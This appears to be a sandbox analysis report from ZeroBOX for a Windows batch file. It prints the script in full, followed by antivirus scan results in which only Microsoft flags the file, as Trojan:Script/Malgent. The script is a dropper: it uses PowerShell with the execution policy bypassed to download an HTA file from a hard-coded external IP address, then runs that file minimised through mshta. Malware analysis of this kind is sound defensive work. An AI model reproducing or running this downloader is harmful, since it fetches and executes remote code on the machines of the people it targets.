Static | ZeroBOX
No static analysis available.
@echo off
setlocal
set "URL=http://91.207.183.9:8000/artwork.hta"
set "DownloadPath=%TEMP%\artwork.hta"
set "PowerShellScript=%TEMP%\download.ps1"
:: Create a temporary PowerShell script for downloading
echo (New-Object System.Net.WebClient).DownloadFile('%URL%', '%DownloadPath%') > %PowerShellScript%
:: Download the HTA file using hidden PowerShell
powershell -ExecutionPolicy Bypass -File %PowerShellScript%
:: Check if the download was successful
if not exist %DownloadPath% (
echo Download failed.
pause
exit /b
:: Execute the downloaded HTA file using mshta in hidden mode
start /min mshta %DownloadPath%
:: Clean up the temporary PowerShell script
del %PowerShellScript%
:: End of batch file
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Clean
Skyhigh Clean
McAfee Clean
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec Clean
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Clean
Cynet Clean
Kaspersky Clean
BitDefender Clean
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Clean
Rising Clean
Sophos Clean
Baidu Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro Clean
FireEye Clean
Emsisoft Clean
GData Clean
Jiangmin Clean
Google Clean
Avira Clean
MAX Clean
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Clean
SUPERAntiSpyware Clean
ZoneAlarm Clean
Microsoft Trojan:Script/Malgent!MSR
Varist Clean
AhnLab-V3 Clean
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Clean
Tencent Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet Clean
AVG Clean
Panda Clean
No IRMA results available.